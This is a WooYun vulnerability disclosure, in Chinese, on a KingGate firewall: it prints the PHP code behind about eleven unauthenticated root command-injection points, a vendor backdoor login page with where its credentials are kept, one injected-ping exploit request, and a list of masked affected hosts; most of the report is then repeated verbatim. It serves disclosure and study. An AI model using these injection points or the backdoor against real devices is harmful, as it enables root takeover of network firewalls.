当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0180305

漏洞标题:某防火墙N处远程命令执行和后门页面管理(基础代码审计)

相关厂商:深圳金山信息安全技术有限公司

漏洞作者: 老虎皮

提交时间:2016-03-03 02:00

修复时间:2016-06-05 17:00

公开时间:2016-06-05 17:00

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-03: 细节已通知厂商并且等待厂商处理中
2016-03-07: 厂商已经确认,细节仅向厂商公开
2016-03-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

一次性全部打包,通杀完

详细说明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙
该设计缺陷新旧版本的KingGate防火墙通杀

1.png


2.png


通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码
在对源代码审计过程中发现N枚无需登录的远程命令执行漏洞
第一处 命令执行
\src\application\log\viewauditmail.php
关键性代码如下:

<?php // 页面显示后台配置部分
require("../../lib/public.inc");
require("../../lib/log.inc");
require("../../lib/page_db.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题
$IG_pagenum=12;
if ($IG_date == "")
$IG_date=date("Y-m-d");
if ($IG_date == date("Y-m-d"))
$table_name = "audit_smtp";
else{
$a = split("-",$IG_date);
$y = $a[0];
$m = $a[1];
$d = $a[2];
$table_name = "audit_smtp".$y.$m.$d;
}
$IG_MailIDs = "";
if ($REQUEST_METHOD == "POST"){
if ($IG_opertype == "AUDIT"){
for ($i=0; $i<$IG_pagenum; $i++){
if ($_POST['chkbox'.$i] != ""){
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);


其中此处由于$_POST['chkbox'.$i]未过滤,造成命令执行

$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);


第二处:
src\application\firewall\schedule.php

<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^\.$)|(^\.\.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}
$d->close();

if ($REQUEST_METHOD== "POST"){
$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);
if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);


关键代码

$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);


直接执行,get获取值
只要满足如下条件
利用方式如下:
**.**.**.**/src/application/firewall/schedule.php?IG_pagenum=5&IG_dir=a|ping werwrer3.xxxx.dnslog.info
postdata:
IG_operation=IG_delete&IG_checkbox=1
如图

1.png


cloudeye收到的dns解析请求(证明命令执行)

2.png


第三处命令执行:
src\application\vpn\tab\tab_show_ipsec_tunnellist.php
关键代码

if ($_SERVER['REQUEST_METHOD'] == "POST")
{
for($IG_i=0; $IG_i< $IG_pagenum; $IG_i++)
{
$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);
if ($IG_tunnelname != ""){
//showmsg($IG_str);//注意是否要加上($IG_str!="")
$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);
if ($IG_tunnelstarted==1){
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelisrunning", "隧道已启用,请停止再删除!");
showmsg($IG_tunnelname.$IG_prompt);
//continue;
}else{
$IG_basedir="/etc/infogate/VPN/ipsec.d/zr_user";
$IG_tunnelfile = $IG_basedir."/##".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}
$IG_tunnelfile = $IG_basedir."/".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}

$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);
$IG_cmd="/usr/local/super/bin/super ipsec auto --delete $IG_tunnelname > /dev/null";
system($IG_cmd);


可执行地方为

$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);


跟踪该变量$IG_tunnelname

$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);


同理,post可控即可造成命令执行
第四处:
src\application\log\stat_virus_name.php

$IG_dir="/var/log/infogate/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_edate'], "-");

$IG_cmd="/boot/sbin/infogate/getsort.sh -v -n ".$IG_sdate." ".$IG_edate." > /dev/null";
// echo $IG_cmd;
system($IG_cmd, $IG_status);


其中$IG_sdate 可控,同理命令执行
第四处:\src\application\vpn\tab\tab_show_ipsec_status.php

$IG_tunnelname=$_GET['IG_tunnelname'];
$IG_type=$_GET['IG_type'];
if ($IG_type == "start"){
// 修改文件名
$IG_tunnelfile2=$IG_basedir."/##"."$IG_tunnelname".".ui";
if (file_exists($IG_tunnelfile2)){
$IG_tunnelfile=$IG_basedir."/$IG_tunnelname".".ui";
rename($IG_tunnelfile2, $IG_tunnelfile);
}

$IG_secretfile2=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_secretfile2)){
$IG_secretfile=$IG_basedir."/$IG_tunnelname".".secrets";
rename($IG_secretfile2, $IG_secretfile);
}
$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);////
if ($IG_tunnelstarted==1) {
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelrunning", "隧道已启用!");
showmsg("$IG_prompt");
}else {

$IG_cmd = "/usr/local/sbin/create_ipsec_tunnel.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd = " /usr/local/sbin/create_ipsec_secrets.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd="/usr/local/super/bin/super ipsec auto --delete"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);


其中$IG_tunnelname = $IG_tunnelname=$_GET['IG_tunnelname']; 直接执行命令
第五出:\src\application\vpn\tab\tab_show_c-to-s_status.php

$IG_type=$_GET['IG_type'];
if ($IG_type == "close"){
$IG_pid = $_GET['IG_pid'];
$IG_cmd="kill $IG_pid > /dev/null";
system($IG_cmd) ;

}
?>


第6处:src\application\firewall\getadress.php

if(empty($IG_ipaddr)||$IG_ipaddr==""){

showmsg("请选输入启始IP");

}else if(empty($card_eth_name)||$card_eth_name==""){

showmsg("请选择接口");

}else if(empty($IG_ipaddr2)||$IG_ipaddr2==""){

showmsg("请选输入结束IP");

}else{

if(empty($IG_isScan)){//是否扫描地址设置中已存在的地址
$IG_flag="0";
$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile -c";

}else{
$IG_flag=$IG_isScan;
$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile";


}

//$cmd="/usr/local/sbin/getiplist -s $IG_ipaddr -e $IG_ipaddr2 -i $card_eth_name -f $IG_batchfile";
//echo $cmd."<br>";
system($cmd);


第7处:\src\system\update.php

20 	$zr_debug=0;
21
22 if ($REQUEST_METHOD=="POST"){
23 $IG_filename="/var/log/infogatehttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/".$_FILES['IG_uploadfile']['name'];
24 echo $IG_filename;exit();
25 #/usr/local/thttpd/src/system/
26
27 $_GET["IG_opertime"]=date("Y-m-d H:i:s");
28 $_GET["IG_clientIP"]=getIP();
29 if(($_FILES['IG_uploadfile']!="none")&&($_FILES['IG_uploadfile']!="")){
30
31 if($GLOBALS["zr_debug"])
32
33 showmsg("�ļ��ϴ������룺".$_FILES['IG_uploadfile']['error']);
34
35 if(copy($_FILES['IG_uploadfile']['tmp_name'],$IG_filename)){
36
37 if($GLOBALS["zr_debug"])
38 showmsg("copy�ɹ�����".$_FILES['IG_uploadfile']['error']);
39
40 //070307 -- //Ԭ��˵�ڽ�ѹ��ǰ �����update-2.2Ŀ¼
41 $IG_cmd="rm /var/program/update-2.2 -rf > /dev/null";
42 system($IG_cmd);
43
44 $IG_cmd="tar zxvf ".$IG_filename." -C "."/var/program/ > /dev/null";
45 #echo $IG_cmd;exit();
46 system($IG_cmd);


第8处:
\src\application\firewall\editschedule.php

if ($REQUEST_METHOD == "GET"){

if ($_GET["IG_timeID"] == "")
exit();
$IG_filename=$_GET["IG_dir"].$_GET["IG_timeID"];

if (!file_exists($IG_filename)) {

showmsg("时间配置文件".$_GET["IG_timeID"]."\\n不存在!");
historyback();
}
else{
// 时间信息数组
$IG_timeinfo=array();

$lines=file($IG_filename);
foreach ($lines as $line_num => $line)
{
$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);
$IG_timeinfo[trim($ZR_TIME_ARRAY[0])]=trim($ZR_TIME_ARRAY[1]);
}
}

}
else if ($_SERVER['REQUEST_METHOD'] == "POST"){
$IG_filename_tmp=$_GET["IG_dir_tmp"].$_POST["IG_timeID"];
$IG_filename=$_GET["IG_dir"].$_POST["IG_timeID"];
$IG_time_str="";
// 起始时间
$IG_TimeStart="$IG_HourStart:$IG_MinStart";
$IG_TimeStop="$IG_HourStop:$IG_MinStop";
if (! (($IG_TimeStart == "00:00")&&($IG_TimeStop == "00:00")) ){
$IG_time_str.="timestart=".$IG_TimeStart."\n";
$IG_time_str.="timestop=".$IG_TimeStop."\n";
}

//星期
$IG_days="";
for ($i=0; $i<7; $i++){
$IG_tmpstr=trim($_POST['IG_checkbox'.$i]);
if ($IG_tmpstr != ""){
if ($IG_days != "")
$IG_days .=",";
$IG_days .=$IG_tmpstr;
}
}
if($IG_days!=""){
$IG_time_str.="days=".$IG_days."\n";
}

// 起始日期
if( ! ($IG_DateStart=="" && $IG_DateStop=="" ) )
{
$IG_DateStart=str_replace('-', ':', $IG_DateStart);
$IG_DateStop=str_replace('-', ':', $IG_DateStop);
$IG_time_str.="datestart=".$IG_DateStart."\n";
$IG_time_str.="datestop=".$IG_DateStop."\n";
}

// memo
$IG_time_str.="memo=".$IG_Memo."\n";
// 日志记录
$_GET["IG_opertime"]=date("Y-m-d H:i:s");
$_GET["IG_clientIP"]=getIP();
$IG_logmsg=$_GET["IG_clientIP"]."|".$_GET["IG_opertime"]."|".$IG_loginname."|防火墙|时间段|修改时间段设置";
addMsgtoFile($IG_MANAGEOPERLOG, $IG_logmsg);

$handle = fopen ($_GET["IG_dir_tmp"]."/".$_POST["IG_timeID"], "w");
// 将$somecontent写入到我们打开的文件中。
if (!fwrite($handle,$IG_time_str)) {
showmsg( "不能写入到文件 $filename");
echo "<script language=\"JavaScript\">\n<!--\n";
echo "location.href=\"schedule.php\";\n";
echo "// -->\n</script>\n";
}
fflush($handle);
fclose($handle);

$IG_cmd="mv ".$IG_filename_tmp." ".$IG_filename." >/dev/null 2>/dev/null";
system($IG_cmd);


第9处:
src/application/virus/sortbyname.php

$IG_dir="/var/log/infogate/scanvir/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_e_date'], "-");

$IG_cmd="/usr/local/sbin/wingetsort.sh -n ".$IG_sdate." ".$IG_edate;
// echo $IG_cmd;
system($IG_cmd, $IG_status);

$IG_filename=$IG_dir."virusname.sort";


第10处:
src/application/virus/sortbyip.php

$IG_dir="/var/log/infogate/scanvir/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_e_date'], "-");

$IG_cmd="/usr/local/sbin/wingetsort.sh -i ".$IG_sdate." ".$IG_edate;
// echo $IG_cmd;
system($IG_cmd, $IG_status);


第11处 官方后门:
src/system/backdoor.php

<?php
if(isset($_POST["session_id"]))
session_id($_POST["session_id"]);

session_start();

$sid=session_id();

if (!isset($IG_login)){
session_register("IG_login");
session_register("IG_loginname");
session_register("IG_f_manageuser");
session_register("IG_f_viewsysconf");
session_register("IG_f_modifysysconf");
session_register("IG_f_viewsyslog");
session_register("IG_logincount");
session_register("IG_backdoor_user");
//echo "32 backdoor>> IG_backdoor_user >>>".$IG_backdoor_user;
//TAB 页显示当前菜单路径 如:”系统配置 > 网络设置“
session_register("IG_current_menu_name");
session_register("IG_current_submenu_name");
$IG_logincount=0;
$IG_login=false;
$IG_loginname="";
$IG_f_manageuser="0";
$IG_f_viewsysconf="0";
$IG_f_modifysysconf="0";
$IG_f_viewsyslog="0";
$IG_backdoor_user=true; //后门登录的用户不记录操作日志
}
else{
//$_SESSION["IG_backdoor_user"]=true;
session_register("IG_backdoor_user");
$IG_backdoor_user = true ;
}


require("../lib/public.inc");

$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题

if ($REQUEST_METHOD == "POST"){

$_GET["IG_opertime"]=date("Y-m-d H:i:s");
$_GET["IG_clientIP"]=getIP();
$IG_logincount += 1;
$IG_user_ip=$IG_clientIP;
$IG_userinfo=zr_login_bridge("/etc/infogate/center/defaultclient.conf", $_POST["IG_user"], $_POST["IG_passwd"],$IG_user_ip);

if($IG_userinfo=="ok"){
$IG_login=true;
$IG_loginname=$IG_user;
$IG_permission=$IG_userinfo;
/*
$IG_f_manageuser=substr($IG_permission, 0, 1);
$IG_f_viewsysconf=substr($IG_permission, 1, 1);
$IG_f_modifysysconf=substr($IG_permission, 2, 1);
$IG_f_viewsyslog=substr($IG_permission, 3, 1);
*/

//后门用户 有所有权限
$IG_f_manageuser=1;
$IG_f_viewsysconf=1;
$IG_f_modifysysconf=1;
$IG_f_viewsyslog=1;

$IG_logmsg=$_GET["IG_clientIP"]."|".$_GET["IG_opertime"]."|".$IG_loginname."|system login| |$IG_loginname login success!";
//addMsgtoFile($IG_MANAGEOPERLOG, $IG_logmsg);

session_register("IG_s_cards_num"); // 设备网卡数
$IG_s_cards_num=zr_get_cards_num();

Header("Location: ../../index.php?s_id=$sid");
}
else
showmsg("登陆失败 原因:".$IG_userinfo);
}
?>
<html>
<head>
<?php
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">";
?>
<title><? echo zr_get_html_title_name(); ?></title>
<link href="<?echo $theme?>/css/myclass.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="0">
<div align="left"><img src="<?echo $theme?>/images/title.jpg" border=1></div>
<?php
if ($IG_logincount >= 3){
echo "<div align=\"center\"><font color=\"#666666\" size=\"5\"><b>login fail count than 3!</b></font></div>";
exit();
}
?>
<br><br><br><br><br><br>
<table class=submodbg width="300" align=center cellSpacing=1 cellPadding=4>
<form method="POST" action="<?echo $_SERVER["PHP_SELF"]?>" >
<input type="hidden" name="session_id" value="<?echo $sid?>" >
<tr class=RowColor1>
<td class=tablehdtop colSpan=2 height="25" align="center">用户登录</td>
</tr>
<tr class=RowColor1>
<td class="tablehd" align="right">用户名</td>
<td><input type="text" name="IG_user" size="20" maxsize="50"></td>
</tr>
<tr class=RowColor1>
<td class="tablehd" align="right">密码</td>
<td><input type="password" name="IG_passwd" size="20" maxsize="50"></td>
</tr>
<tr class=RowColor1>
<td colSpan=2 align="center">
<input class="BTNaction" type="submit" value="确认" name="sutmit1">
<input class="BTNaction" type="reset" value="取消" name="reset1">
</td>
</tr>
</form>
</table>
</body>
</html>
<?php
function zr_login_bridge($filename, $user_name, $user_passwd,$user_ip)
{
if ($user_name == ""){
return "|usernameempty|";
}

$handle=file_exists($filename);
if (! $handle){
return "|filenotexist|";
}
$handle=fopen($filename, "r");
if (! $handle){
return "|openfail|";
}
$counter=0;

$result_msg="";
//够着配置文件数组
$conf_array=array();
$lines = file($filename);
foreach ($lines as $line_num => $line) {
$line=trim($line);
if($line=="")
continue;

$temp_array=explode("=",$line);
$key=trim($temp_array[0]);
$value=trim($temp_array[1]);
$conf_array[$key]=$value;
}

//校验
if(strcmp($user_name,$conf_array["loginname"])!=0)
return $result_msg="|usernotexist|";
if(strcmp($user_passwd,$conf_array["password"])!=0)
return $result_msg="|password_error!|";
if($conf_array["enabled"]!=1)
return $result_msg="|you'r not allowed to access!|";

/*
else if(substr_count($conf_array["clientip"],$user_ip)==0)
return $result_msg="|your ip is not allowed to access!|";
*/
else
return "ok";

}
?>


默认带有的后门管理员账号和密码储存在/etc/infogate/center/defaultclient.conf文件中

3.png


受影响的如下列表:
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
https://**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
https://**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**:8443/src/system/login.php
**.**.**.**/src/system/login.php
**.**.**.**:8443/src/system/login.php

漏洞证明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙
该设计缺陷新旧版本的KingGate防火墙通杀
该设计缺陷新旧版本的KingGate防火墙通杀

1.png


2.png


通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码
在对源代码审计过程中发现N枚无需登录的远程命令执行漏洞
第一处 命令执行
\src\application\log\viewauditmail.php
关键性代码如下:

<?php // 页面显示后台配置部分
require("../../lib/public.inc");
require("../../lib/log.inc");
require("../../lib/page_db.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题
$IG_pagenum=12;
if ($IG_date == "")
$IG_date=date("Y-m-d");
if ($IG_date == date("Y-m-d"))
$table_name = "audit_smtp";
else{
$a = split("-",$IG_date);
$y = $a[0];
$m = $a[1];
$d = $a[2];
$table_name = "audit_smtp".$y.$m.$d;
}
$IG_MailIDs = "";
if ($REQUEST_METHOD == "POST"){
if ($IG_opertype == "AUDIT"){
for ($i=0; $i<$IG_pagenum; $i++){
if ($_POST['chkbox'.$i] != ""){
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);


其中此处由于$_POST['chkbox'.$i]未过滤,造成命令执行

$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);


第二处:
src\application\firewall\schedule.php

<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^\.$)|(^\.\.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}
$d->close();

if ($REQUEST_METHOD== "POST"){
$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);
if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);


关键代码

$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);


直接执行,get获取值
只要满足如下条件
利用方式如下:
**.**.**.**/src/application/firewall/schedule.php?IG_pagenum=5&IG_dir=a|ping werwrer3.xxxx.dnslog.info
postdata:
IG_operation=IG_delete&IG_checkbox=1
如图

1.png


cloudeye收到的dns解析请求(证明命令执行)

2.png


第三处命令执行:
src\application\vpn\tab\tab_show_ipsec_tunnellist.php
关键代码

if ($_SERVER['REQUEST_METHOD'] == "POST")
{
for($IG_i=0; $IG_i< $IG_pagenum; $IG_i++)
{
$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);
if ($IG_tunnelname != ""){
//showmsg($IG_str);//注意是否要加上($IG_str!="")
$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);
if ($IG_tunnelstarted==1){
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelisrunning", "隧道已启用,请停止再删除!");
showmsg($IG_tunnelname.$IG_prompt);
//continue;
}else{
$IG_basedir="/etc/infogate/VPN/ipsec.d/zr_user";
$IG_tunnelfile = $IG_basedir."/##".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}
$IG_tunnelfile = $IG_basedir."/".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}

$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);
$IG_cmd="/usr/local/super/bin/super ipsec auto --delete $IG_tunnelname > /dev/null";
system($IG_cmd);


可执行地方为

$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);


跟踪该变量$IG_tunnelname

$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);


同理,post可控即可造成命令执行
第四处:
src\application\log\stat_virus_name.php

$IG_dir="/var/log/infogate/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_edate'], "-");

$IG_cmd="/boot/sbin/infogate/getsort.sh -v -n ".$IG_sdate." ".$IG_edate." > /dev/null";
// echo $IG_cmd;
system($IG_cmd, $IG_status);


其中$IG_sdate 可控,同理命令执行
第四处:\src\application\vpn\tab\tab_show_ipsec_status.php

$IG_tunnelname=$_GET['IG_tunnelname'];
$IG_type=$_GET['IG_type'];
if ($IG_type == "start"){
// 修改文件名
$IG_tunnelfile2=$IG_basedir."/##"."$IG_tunnelname".".ui";
if (file_exists($IG_tunnelfile2)){
$IG_tunnelfile=$IG_basedir."/$IG_tunnelname".".ui";
rename($IG_tunnelfile2, $IG_tunnelfile);
}

